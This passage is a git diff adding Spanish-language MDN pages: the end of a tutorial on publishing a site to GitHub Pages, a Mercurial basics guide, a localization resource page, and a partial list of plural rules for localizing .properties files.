+  <pre class="brush: bash">cd Desktop/test-site</pre>
+ </li>
+ <li>Cuando la línea comandos está apuntando hacia el interior del directorio de tu sitio web, digita el siguiente comando, que le dice a la herramienta <code>git</code> para convertir el directorio en un repositorio git:</li>
+ <li>
+  <pre class="brush: bash">git init</pre>
+ </li>
+</ol>
+
+<h4 id="An_aside_on_command_line_interfaces">An aside on command line interfaces</h4>
+
+<p>La mejor manera de subir tu código a Github es mediante la linea de comandos — esta es una ventana donde tú escribe <span id="result_box" lang="es"><span class="hps">comandos</span> <span class="hps">para hacer cosas como</span> <span class="hps">crear</span> <span class="hps">archivos y ejecutar programas</span></span>, en lugar de hacer clic dentro de una interfaz de usuario. Se verá algo como esto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Tú también podrías considerar una <a href="http://git-scm.com/downloads/guis">interfaz gráfica de usuario de Git</a> para hacer el mismo trabajo, si te sientes incómodo con la linea de comandos.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Cada sistema operativo</span> <span class="hps">viene con</span> <span class="hps">una herramienta de línea</span> <span class="hps">de comandos</span><span>:</span></span></p>
+
+<ul>
+ <li><strong>Windows</strong>: <strong>Command Prompt</strong> se puede acceder pulsando la tecla Windows, tipeando <em>Command Prompt</em>, Y elegirlo de la lista que aparece. Nota que Windows tiene sus propias convenciones de comando diferentes de Linux y OS X, así que los comandos abajo pueden variar en su máquina.</li>
+ <li><strong>OS X</strong>: <strong>Terminal</strong> se puede encontrar en <em>Aplicaciones &gt; Utilidades</em>.</li>
+ <li><strong>Linux</strong>: Por lo general, puede extraer una terminal con <em>Ctrl + Alt + T</em>. <span class="short_text" id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">eso no funciona</span></span>, busca <strong>Terminal</strong> en una barra de aplicaciones o menú.</li>
+</ul>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Esto puede</span> <span class="hps">parecer un poco</span> espantoso<span class="hps"> al principio</span></span>, pero no te preocupes — que pronto conseguiras la <span id="result_box" lang="es"><span class="hps">caída de</span> <span class="hps">los conceptos básicos</span></span>. Tú<span id="result_box" lang="es"><span class="hps"> le dices a</span> <span class="hps">la computadora que </span><span class="hps">haga algo en la</span> <span class="hps">terminal, digitando</span> <span class="hps">un comando y</span> <span class="hps">oprimiendo la tecla Enter</span><span>,</span> <span class="hps">como se ha visto</span> <span class="hps">anteriormente.</span></span></p>
+
+<h3 id="Creando_un_repositorio_para_tu_código">Creando un repositorio para tu código</h3>
+
+<ol>
+ <li>
+  <p><span id="result_box" lang="es"><span class="hps">A continuación</span></span>, tu necesitas crear un nuevo repositorio para colocar tus archivos en el. Has clic en el signo más (+) en la parte superior derecha de la página de inicio de GitHub, luego escoge <em>Nuevo Repositorio</em>.</p>
+ </li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">En esta página,</span></span> en la caja <em>Nombre del Repositorio</em>, digita el nombre para tu repositorio de código, por ejemplo <em>my-repository</em>.</li>
+ <li>También llena una descripción <span class="short_text" id="result_box" lang="es"><span class="hps">para decir lo que</span> tu <span class="hps">repositorio</span> <span class="hps">va a</span> <span class="hps">contener</span></span>. Tu pantalla debe mostrar algo como esto:<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/12143/create-new-repo.png" style="display: block; height: 548px; margin: 0px auto; width: 800px;"></li>
+ <li>Has Clic en <em>Crear repositorio</em>; Esto debería llevarte a la siguiente página: <br>
+  <img alt="" src="https://mdn.mozillademos.org/files/12141/github-repo.png" style="display: block; height: 520px; margin: 0px auto; width: 800px;"></li>
+</ol>
+
+<h3 id="Subiendo_tus_archivos_a_GitHub">Subiendo tus archivos a GitHub</h3>
+
+<ol>
+ <li>En la página actual, tú estás interesado en la sección <em>…o empujar un repositorio existente desde la línea de comandos</em>. Tú deberias ver dos lineas de código listado en esta sección. <span class="short_text" id="result_box" lang="es"><span class="hps">Copia</span> <span class="hps">la totalidad de la</span> <span class="hps">primera</span> <span class="hps">línea</span></span>, pégala en la línea de comandos, presiona la tecla Enter. El comando debería mostrarte algo como esto:
+
+  <pre class="copyable-terminal-content js-zeroclipboard-target"><span class="user-select-contain">git remote add origin <span class="js-live-clone-url">https://github.com/chrisdavidmills/my-repository.git</span></span></pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">A continuación</span></span>, digita los siguientes dos comandos, presionando Enter despues de cada uno. Estos preparán el código para subirlo a GitHub, y pida a GIt que administre estos archivos.
+  <pre class="brush: bash">git add --all
+git commit -m 'adding my files to my repository'</pre>
+ </li>
+ <li>Por último,<span class="short_text" id="result_box" lang="es"><span class="hps"> empuja el</span> <span class="hps">código</span> <span class="hps">hasta</span></span> GitHub yendo a la página de GitHub en la que estas e ingresando en la terminal el segundo de los dos comandos que vimos <em>…o empuje un repositorio existente desde la sección de línea de comandos</em>:
+  <pre class="brush: bash">git push -u origin master</pre>
+ </li>
+ <li>Ahora necesitas crear la rama gh-pages de tu repositorio; actualiza la página actual <span id="result_box" lang="es"><span class="hps">y verá</span> <span class="hps">una página</span> del <span class="hps">repositorio</span> <span class="hps">algo así como</span> <span class="hps">la de abajo.</span></span> Tú necesitas presionar el boton que dice <em>Branch: <strong>master</strong></em>, digita <em>gh-pages</em> en el campo de texto, luego presiona el boton azul que dice <em>Create branch: gh-pages</em>. Esto crea una rama de código especial llamada gh-pages que es publicada en una ubicación especial. La URL toma la forma <em>username.github.io/my-repository-name</em>, asi en mi caso de ejemplo, la URL debería ser <em>https://chrisdavidmills.github.io/my-repository</em>. La página mostrada es la página index.html.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/12145/repo-site.png" style="display: block; margin: 0px auto;"></li>
+ <li>Navega tu dirección web de GitHub pages en un nuevo ta del navegador, y tu deberias ver tu sitio en linea! Mandalo <span id="result_box" lang="es"><span class="hps">por correo electrónico a</span> <span class="hps">tus</span> <span class="hps">amigos</span> <span class="hps">y muestra tu</span> <span class="hps">dominio</span><span>.</span></span></li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">Si te atascas</span></span>, la <a href="https://pages.github.com/">página de inicio de GitHub Pages</a> <span class="short_text" id="result_box" lang="es"><span class="hps">también</span> <span class="hps">es</span> <span class="hps">muy</span> <span class="hps">útil</span></span>.</p>
+</div>
+
+<h3 id="Un_mayor_conocimiento_de_GitHub"><span class="short_text" id="result_box" lang="es"><span class="hps">Un mayor conocimiento</span> <span class="hps">de GitHub</span></span></h3>
+
+<p><span id="result_box" lang="es"><span>Si deseas realizar más cambios en su sitio de prueba y cargarlos en GitHub, simplemente tendrás que realizar el cambio en tus archivos como antes.</span> <span>A continuación, debes introducir los siguientes comandos (pulsando Intro después de cada uno) para empujar los cambios a GitHub</span></span>:</p>
+
+<pre>git add --all
+git commit -m 'another commit'
+git push</pre>
+
+<p>Puedes reemplazar <em>otro commit</em> con un mensaje más adecuado para describir qué cambio acaba de hacer.</p>
+
+<p>Apenas hemos arañado la superficie de Git.Para obtener más información, comience con el <a href="https://help.github.com/index.html">sitio de ayuda de GitHub</a>.</p>
diff --git a/files/es/lo_básico_de_mercurial/index.html b/files/es/lo_básico_de_mercurial/index.html
new file mode 100644
index 0000000000..5dc5837e0b
--- /dev/null
+++ b/files/es/lo_básico_de_mercurial/index.html
@@ -0,0 +1,48 @@
+---
+title: lo básico de Mercurial
+slug: lo_básico_de_Mercurial
+tags:
+  - Desarrollando_Mozilla
+  - Mercurial
+  - NecesitaRevisiónGramatical
+  - NecesitaRevisiónTécnica
+  - Todas_las_Categorías
+translation_of: Mozilla/Mercurial/Basics
+---
+<p>Voy a contarte algunas cosas sobre <a href="es/Mercurial">Mercurial</a> que te evitarán mucha frustación. Esta página es cínica y orientada a la supervivencia, pero aún así sostengo que Mercurial es mucho mejor que CVS. —<a>jorendorff</a> 16:06, 12 May 2008 (PDT)
+</p>
+<h3 id="Expectativas" name="Expectativas"> Expectativas </h3>
+<p><b>Mercurial no es CVS.</b> Las órdenes no son las mismas. Los conceptos no son los mismos.
+</p><p><b>Esta pistola está cargada.</b> Te puedes disparar en el pie. Puedes perder trabajo. La herramienta intenta protegerte, pero aún así puede suceder. Los dos modos de equivocarse más comunes son: (a) ejecutas una orden sin saber lo que va a hacer; (b) ejecutas <code>hg commit</code> o <code>hg qrefresh</code> con una idea equivocada de la situación de tu directorio de trabajo. Así que accidentalmente confirmas cambios que no querías confirmar (commit); o accidentalmente subes una fusión errónea (broken merge); etc. A menudo no es inmediatamente obvio que ha sucedido algo malo.
+</p><p>La advertencia te permite ser precavido. No hagas estas cosas. No ejecutes órdenes sin saber lo que van a hacer —<code>hg help</code> es tu amigo. No confirmes cambios sin hacer primero un diff y pensarlo dos veces. Y no te dejes caer en el "modo diversión" y dejes de prestar atención al hecho de que estás jugando con tu propio trabajo pendiente de subir.
+</p><p><b>Mercurial no es polvo mágico.</b> Mercurial es flexible, potente, y divertido. Te permite intentar cosas que nunca habrías probado en CVS. Pero, por supuesto, no todo tiene porque acabar siendo una buena idea (por ejemplo, nosotros intentamos compartir colas de parches. Y resultó ser una porquería).
+</p>
+<h3 id="Evitar_los_problemas" name="Evitar_los_problemas"> Evitar los problemas </h3>
+<p><b>Usa Mercurial 1.0 o posterior</b> (<code>hg version</code> para comprobarlo).
+</p><p><b>Aprende a manejarte</b> Usa órdenes de sólo-lectura (como <code>hg status</code>, <code>hg head</code>, <code>hg parents</code>, <code>hg log</code>, <code>hg diff</code>) para comprobar el estado de tu repositorio. Ésta es una habilidad fundamental.
+</p><p><b>Configura un <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MergeProgram">programa de fusión (un <i>merge program</i>)</a> y asegúrate de que sabes cómo usarlo. HAZLO YA</b>. En caso contrario acabarás cargándote tu repositorio en algún momento.
+</p><p>CVS deja marcadores de conflicto en tus archivos en ocasiones. Mercurial no: en su lugar, quiere que corrijas los conflictos <i>inmediatamente</i>, usando un programa de fusión (como <code>kdiff3</code>) que abrirá para ti.
+</p><p>Esto puede favorecer los errores. Por defecto, Mercurial usa el primer programa de fusión que encuentra en tu sistema, y la mayoría de los programas de fusión son bastante difíciles de usar correctamente. Mercurial no hace un buen trabajo detectando las fusiones canceladas y rechazando proseguir, así que limitarse a cerrar una ventana puede ponerte sin querer en una mala situación. Hay historias de hombres maduros que han salido huyendo de árboles hg completos que contenía muchas horas de trabajo, echándole la culpa a un comportamiento inexplicable de hg, debido todo a una fusión errónea.
+</p><p><b>Si una fusión falla, asegúrate de que Mercurial sabe que ha fallado</b>. Cuando estás comenzando a aprender los fundamentos, las fusiones a menudo salen mal. Podrías ver este mensaje:
+</p>
+<pre class="eval">0 files updated, 0 files merged, 0 files removed, 1 files unresolved
+There are unresolved merges, you can redo the full merge using:
+  hg update -C 2
+  hg merge 1
+</pre>
+<p>Esto significa que algunos conflictos no se resolvieron durante la fusión. Si no sabes exactamente cuáles son y cómo corregirlos, usa esa orden <code>hg update -C</code> para decirle a Mercurial que has desistido de esa fusión.
+</p><p>Si no lo haces, Mercurial no se enterará, y la próxima vez que confirmes cambios, creará un conjunto de cambios (changeset) con la fusión. Esto es mal. El resultado puede parecerse mucho a destruir accidentalmente un puñado de trabajo, pero el daño puede deshacerse.
+</p><p>Si <code>hg parents</code> muestra dos padres, estás fusionando.
+</p><p><b>Si usas colas de Mercurial (Mercurial Queues), haz una copia de seguridad de tu trabajo</b>. ¡<code>hg qrefresh</code> reemplaza de manera destructiva el parche antiguo con el nuevo! Usa <code>hg qinit -c</code> para crear un repositorio de respaldo separado para tus parches y <code>hg qcommit -m backup</code> regularmente.
+</p><p><b>No uses colas de Mercurial en un repositorio del que alguien podría descargar</b>.
+</p>
+<h3 id="Recuperarse" name="Recuperarse"> Recuperarse </h3>
+<p>¡Vaya! ¡Mercurial te acaba de cortar el brazo!
+</p><p><b>No pruebes cosas al azar para ver si lo arreglan mágicamente</b>. Recuerda que tienes las de perder, y <i>desconecta la sierra eléctrica</i> mientras aún te quede un brazo bueno.
+</p><p><b>Consigue ayuda en el IRC</b>. Prueba <a class="link-irc" href="irc://irc.mozilla.org/hg">#hg</a> o <a class="link-irc" href="irc://irc.mozilla.org/developers">#developers</a> en el IRC de Mozilla o <a class="link-irc" href="irc://irc.freenode.net/mercurial">#mercurial en freenode</a>.
+</p>
+<div class="noinclude">
+</div>
+<div class="noinclude">
+</div>
+{{ languages( { "ja": "ja/Mercurial_basics", "en": "en/Mercurial_basics" } ) }}
diff --git a/files/es/localización/index.html b/files/es/localización/index.html
new file mode 100644
index 0000000000..def1406446
--- /dev/null
+++ b/files/es/localización/index.html
@@ -0,0 +1,16 @@
+---
+title: Localización
+slug: Localización
+tags:
+  - Localización
+translation_of: Glossary/Localization
+---
+<p>  </p>
+<div> <p>La <strong>localización</strong> es el proceso de traducción de interfaces de usuario de un lenguaje a otro y adaptación para que una cultura extranjera lo comprenda. Estos recursos tratan sobre cómo hacer aplicaciones/extensiones de Mozilla localizables.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n"><a href="/Special:Tags" title="Site Tags">Documentación</a></h4> <dl> <dt><a class="external" href="http://www.proyectonave.es/docs/extensiones" title="http://www.proyectonave.es/docs/extensiones">Sistema de traducción de extensiones para NAVE</a></dt> <dd><small>"Este documento tiene como principal objetivo fomentar la traducción de extensiones mediante un sistema escalable que, aunque inicialmente puede ser complicado de entender, al final, se minimiza el tiempo total empleado en generar un paquete de idioma con la traducción." </small></dd> </dl> <dl> <dt><a class="external" href="http://www.proyectonave.es/docs/instaladores" title="http://www.proyectonave.es/docs/instaladores">Creación de instaladores</a></dt> <dd><small>Este documento explica cómo hacer instaladores de productos Mozilla 100% es-ES a partir del correspondiente instalador original en-US y los paquetes de idioma es-ES más, en algunos casos, archivos adicionales de personalización es-ES.</small></dd> </dl> <dl> <dt><a href="/es/Escribir_código_localizable" title="es/Escribir_código_localizable">Escribir código localizable</a></dt> <dd><small>Esta página te explica las buenas prácticas y directrices al tratar con código UI en relación a la localización. Está dirigido a desarrolladores de Mozilla y sus extensiones.</small></dd> </dl> <dl> <dt><a class="external" href="http://kb.mozillazine.org/Localize_extension_descriptions">Localizando las descripciones de las extensiones</a></dt> <dd><small>Para localizar la descripción de una extensión (secuencia que muestra arriba y abajo el nombre de la extensión en ventanas de extensiones), necesitas utilizar una clave especial para anular la descripción especificada en su archivo install.rdf. Este artículo contiene instrucciones de cómo modificar esta tecla de preferencia.</small></dd> </dl> <p><span class="alllinks"><a href="/Special:Tags" title="Site Tags">Ver todo...</a></span></p> </td> <td> <h4 id="Comunidad">Comunidad</h4> <ul> <li><a class="external" href="http://www.proyectonave.es/" title="http://www.proyectonave.es/">El proyecto NAVE</a></li> <li><a class="external" href="http://www.babelzilla.org/forum/index.php?showforum=38">Babelzilla</a></li> <li><a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=13">Foro sobre traducciones en MozillaES</a></li> <li><a class="external" href="http://www.mozilla-hispano.org/foro/viewforum.php?f=7&amp;sid=f1ffba39f7bdd70f5f54283be1ab23ac" title="http://www.mozilla-hispano.org/foro/viewforum.php?f=7&amp;sid=f1ffba39f7bdd70f5f54283be1ab23ac">Foro sobre traducciones en Mozilla Hispano</a></li> </ul> <ul> <li>En la comunidad Mozilla... en ingles</li> </ul> <p>{{ DiscussionList("dev-l10n", "mozilla.dev.l10n") }}</p> <ul> <li> <ul> <li><a class="external" href="http://www.mozilla.org/projects/l10n/">Proyecto de localización de Mozilla</a></li> </ul> </li> </ul> <p><span class="alllinks"><a href="/es/Localización/Comunidad" title="es/Localización/Comunidad">Ver todo...</a></span></p> <h3 id="Herramientas">Herramientas</h3> <ul> <li><a class="external" href="http://kbabel.kde.org/">KBabel</a></li> <li><a class="external" href="http://wiki.mozilla.org/L10n:MozillaTranslator" title="http://wiki.mozilla.org/L10n:MozillaTranslator">MozillaTranslator</a></li> <li><a class="external" href="http://www.mozilla.org/projects/l10n/mlp_tools.html">Herramientas para la localización (en)</a></li> </ul> <p><span class="alllinks"><a href="/Special:Tags" title="Site Tags">Ver todo...</a></span></p> <h4 id="Temas_Relacionados">Temas Relacionados</h4> <dl> <dd><a href="/es/Extensiones" title="es/Extensiones">Extensiones</a>, <a href="/es/Desarrollando_Mozilla" title="es/Desarrollando_Mozilla">Desarrollando Mozilla</a>, <a href="/es/XUL" title="es/XUL">XUL</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p>  </p>
+<p>{{ languages( { "de": "de/Lokalisierung", "en": "en/Localization", "fr": "fr/Localisation", "it": "it/Localization", "ja": "ja/Localization", "pl": "pl/Lokalizacja", "pt": "pt/Localiza\u00e7\u00e3o", "zh-tw": "zh_tw/\u672c\u5730\u5316" } ) }}</p>
diff --git a/files/es/localización_y_plurales/index.html b/files/es/localización_y_plurales/index.html
new file mode 100644
index 0000000000..665b0afc2a
--- /dev/null
+++ b/files/es/localización_y_plurales/index.html
@@ -0,0 +1,386 @@
+---
+title: Localización y Plurales
+slug: Localización_y_Plurales
+tags:
+  - Internacionalizacion
+  - Internationalization
+  - Localización
+  - Localization
+translation_of: Mozilla/Localization/Localization_and_Plurals
+---
+<p>{{ Fx_minversion_header(3) }} Probablemente estas aquí porque estás localizando un archivo .properties el cual poseía un enlace a esta página. Esta página explica cómo localizar esas cadenas para mostrar la forma plural correcta al usuario. Por ejemplo, "una página" contra "dos páginas".</p>
+
+<p>Si estás aquí para hacer tu código (por ejemplo, una extensión) localizable para formas plurales, puedes ir directo a<a href="#Desarrollar_con_Formas_Plurales">Desarrollar con Formas Plurales</a>, pero probablemente necesitarás localizar las cadenas iniciales de tu código, por lo que será bueno que leas al menos hasta la sección Uso inclusive.</p>
+
+<h2 id="Uso" name="Uso">Uso</h2>
+
+<p>Aquí hay un par de términos usados en esta página para ayudar a mantener la claridad:</p>
+
+<ul>
+ <li><strong>regla plural</strong>: Para un lenguaje dado, existe una regla gramatical que determina la forma en que cambiarán las palabras, y ello variará según el número que califique a esa palabra. Lenguajes diferentes pueden tener diferentes reglas.</li>
+ <li><strong>Forma Plural</strong>: Para una regla plural en particular, pueden existir múltiples formas de una palabra, tales como "página" y "páginas". Es este caso hay 2 formas, pero otros lenguajes pueden tener una o más.</li>
+</ul>
+
+<p>Si estas aquí por las Reglas Plurales en el archivo chrome/global/intl.properties , necesitarás averiguar qué<em>regla plural</em> elegir para tu localización. Esta regla plurall se usa para determinar cuántas<em>formas plurales</em> se necesitan para cada palabra que necesita ser localizada teniendo en cuenta los plurales.</p>
+
+<p>Para todos los otros archivos de propiedades (properties files) que enlacen a esta página, necesitarás proveer sucifientes formas plurales de la palabra deseada y separarlas con punto y coma (;). Si no sabes cuántas formas plurales necesitas, revisa el número Regla Plural en chrome/global/intl.properties y búsca la entrada correspondiente en la siguiente lista de reglas plurales.</p>
+
+<h2 id="Lista_de_Reglas_Plurales" name="Lista_de_Reglas_Plurales">Lista de Reglas Plurales</h2>
+
+<p>Esta sección contiene una lista de reglas plurales ordenada por su número de regla plural. Cada entrada indica cuántas formas plurales se necesitan cuando se localiza una palabra. Para cada entrada, existe una lista de familias y lenguajes en esas familias para ayudarte a decidir si esa es la regla que deves elegir como Regla Plural. Además, hay una breve descripción de cada forma plural seguida de algunos números de ejemplo que caen dentro de esa forma particular.</p>
+
+<p>Para una regla plural dada, el orden en que las formas plurales son listadas es el mismo orden que necesitas para localizar una palabra, separado por punto y coma. Por ejemplo el inglés usa la regla plural 1, luego localizar plurales requeriría cadenas como "plural;plurales" donde la primer palabra es la forma singulas y la segunda es la forma plural general.</p>
+
+<h3 id="Plural_rule_.230_.281_form.29" name="Plural_rule_.230_.281_form.29">Plural rule #<em><strong>0</strong></em> (1 form)</h3>
+
+<p><strong>Families</strong>: Asian (Chinese, Japanese, Korean, Vietnamese), Turkic/Altaic (Turkish), Thai<br>
+ <strong>everything</strong>: <small>0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, …</small></p>
+
+<h3 id="Plural_rule_.231_.282_forms.29" name="Plural_rule_.231_.282_forms.29">Plural rule #<em><strong>1</strong></em> (2 forms)</h3>
+
+<p><strong>Families</strong>: Germanic (Danish, Dutch, English, Faroese, Frisian, German, Norwegian, Swedish), Finno-Ugric (Estonian, Finnish, Hungarian), Language isolate (Basque), Latin/Greek (Greek), Semitic (Hebrew), Romanic (Italian, Portuguese, Spanish, Catalan)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>everything else</strong>: <small>0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, …</small></p>
+
+<h3 id="Plural_rule_.232_.282_forms.29" name="Plural_rule_.232_.282_forms.29">Plural rule #<em><strong>2</strong></em> (2 forms)</h3>
+
+<p><strong>Families</strong>: Romanic (French, Brazilian Portuguese)<br>
+ <strong>is 0 or 1</strong>: <small>0, 1</small><br>
+ <strong>everything else</strong>: <small>2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, …</small></p>
+
+<h3 id="Plural_rule_.233_.283_forms.29" name="Plural_rule_.233_.283_forms.29">Plural rule #<em><strong>3</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Baltic (Latvian)<br>
+ <strong>is 0</strong>: <small>0</small><br>
+ <strong>ends in 1, not 11</strong>: <small>1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>everything else</strong>: <small>2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 22, 23, 24, 25, 26, 27, 28, 29, 30, 32, 33, 34, 35, 36, 37, 38, 39, 40, 42, 43, 44, 45, 46, 47, 48, 49, 50, 52, 53, 54, 55, …</small></p>
+
+<h3 id="Plural_rule_.234_.283_forms.29" name="Plural_rule_.234_.283_forms.29">Plural rule #<em><strong>4</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Celtic (Scottish Gaelic)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 2</strong>: <small>2</small><br>
+ <strong>everything else</strong>: <small>0, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, …</small></p>
+
+<h3 id="Plural_rule_.235_.283_forms.29" name="Plural_rule_.235_.283_forms.29">Plural rule #<em><strong>5</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Romanic (Romanian)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 0 or ends in 01-19</strong>: <small>0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, …</small><br>
+ <strong>everything else</strong>: <small>20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, …</small></p>
+
+<h3 id="Plural_rule_.236_.283_forms.29" name="Plural_rule_.236_.283_forms.29">Plural rule #<em><strong>6</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Baltic (Lithuanian)<br>
+ <strong>ends in 1, not 11</strong>: <small>1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>ends in 0 or ends in 10-20</strong>: <small>0, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 130, 140, 150, 160, 170, 180, 190, 200, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, …</small><br>
+ <strong>everything else</strong>: <small>2, 3, 4, 5, 6, 7, 8, 9, 22, 23, 24, 25, 26, 27, 28, 29, 32, 33, 34, 35, 36, 37, 38, 39, 42, 43, 44, 45, 46, 47, 48, 49, 52, 53, 54, 55, 56, 57, 58, 59, 62, 63, 64, 65, 66, 67, 68, 69, 72, 73, …</small></p>
+
+<h3 id="Plural_rule_.237_.283_forms.29" name="Plural_rule_.237_.283_forms.29">Plural rule #<em><strong>7</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Croatian, Serbian, Russian, Ukrainian)<br>
+ <strong>ends in 1, not 11</strong>: <small>1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>ends in 2-4, not 12-14</strong>: <small>2, 3, 4, 22, 23, 24, 32, 33, 34, 42, 43, 44, 52, 53, 54, 62, 63, 64, 72, 73, 74, 82, 83, 84, 92, 93, 94, 102, 103, 104, 122, 123, 124, 132, 133, 134, 142, 143, 144, 152, 153, 154, 162, 163, 164, 172, 173, 174, 182, 183, …</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 25, 26, 27, 28, 29, 30, 35, 36, 37, 38, 39, 40, 45, 46, 47, 48, 49, 50, 55, 56, 57, 58, 59, 60, 65, 66, 67, 68, 69, 70, 75, 76, 77, …</small></p>
+
+<h3 id="Plural_rule_.238_.283_forms.29" name="Plural_rule_.238_.283_forms.29">Plural rule #<em><strong>8</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Slovak, Czech)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 2-4</strong>: <small>2, 3, 4</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, …</small></p>
+
+<h3 id="Plural_rule_.239_.283_forms.29" name="Plural_rule_.239_.283_forms.29">Plural rule #<em><strong>9</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Polish)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>ends in 2-4, not 12-14</strong>: <small>2, 3, 4, 22, 23, 24, 32, 33, 34, 42, 43, 44, 52, 53, 54, 62, 63, 64, 72, 73, 74, 82, 83, 84, 92, 93, 94, 102, 103, 104, 122, 123, 124, 132, 133, 134, 142, 143, 144, 152, 153, 154, 162, 163, 164, 172, 173, 174, 182, 183, …</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 25, 26, 27, 28, 29, 30, 31, 35, 36, 37, 38, 39, 40, 41, 45, 46, 47, 48, 49, 50, 51, 55, 56, 57, 58, 59, 60, 61, 65, 66, 67, 68, …</small></p>
+
+<h3 id="Plural_rule_.2310_.284_forms.29" name="Plural_rule_.2310_.284_forms.29">Plural rule #<em><strong>10</strong></em> (4 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Slovenian, Sorbian)<br>
+ <strong>ends in 01</strong>: <small>1, 101, 201, …</small><br>
+ <strong>ends in 02</strong>: <small>2, 102, 202, …</small><br>
+ <strong>ends in 03-04</strong>: <small>3, 4, 103, 104, 203, 204, …</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, …</small></p>
+
+<h3 id="Plural_rule_.2311_.285_forms.29" name="Plural_rule_.2311_.285_forms.29">Plural rule #<em><strong>11</strong></em> (5 forms)</h3>
+
+<p><strong>Families</strong>: Celtic (Irish Gaeilge)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 2</strong>: <small>2</small><br>
+ <strong>is 3-6</strong>: <small>3, 4, 5, 6</small><br>
+ <strong>is 7-10</strong>: <small>7, 8, 9, 10</small><br>
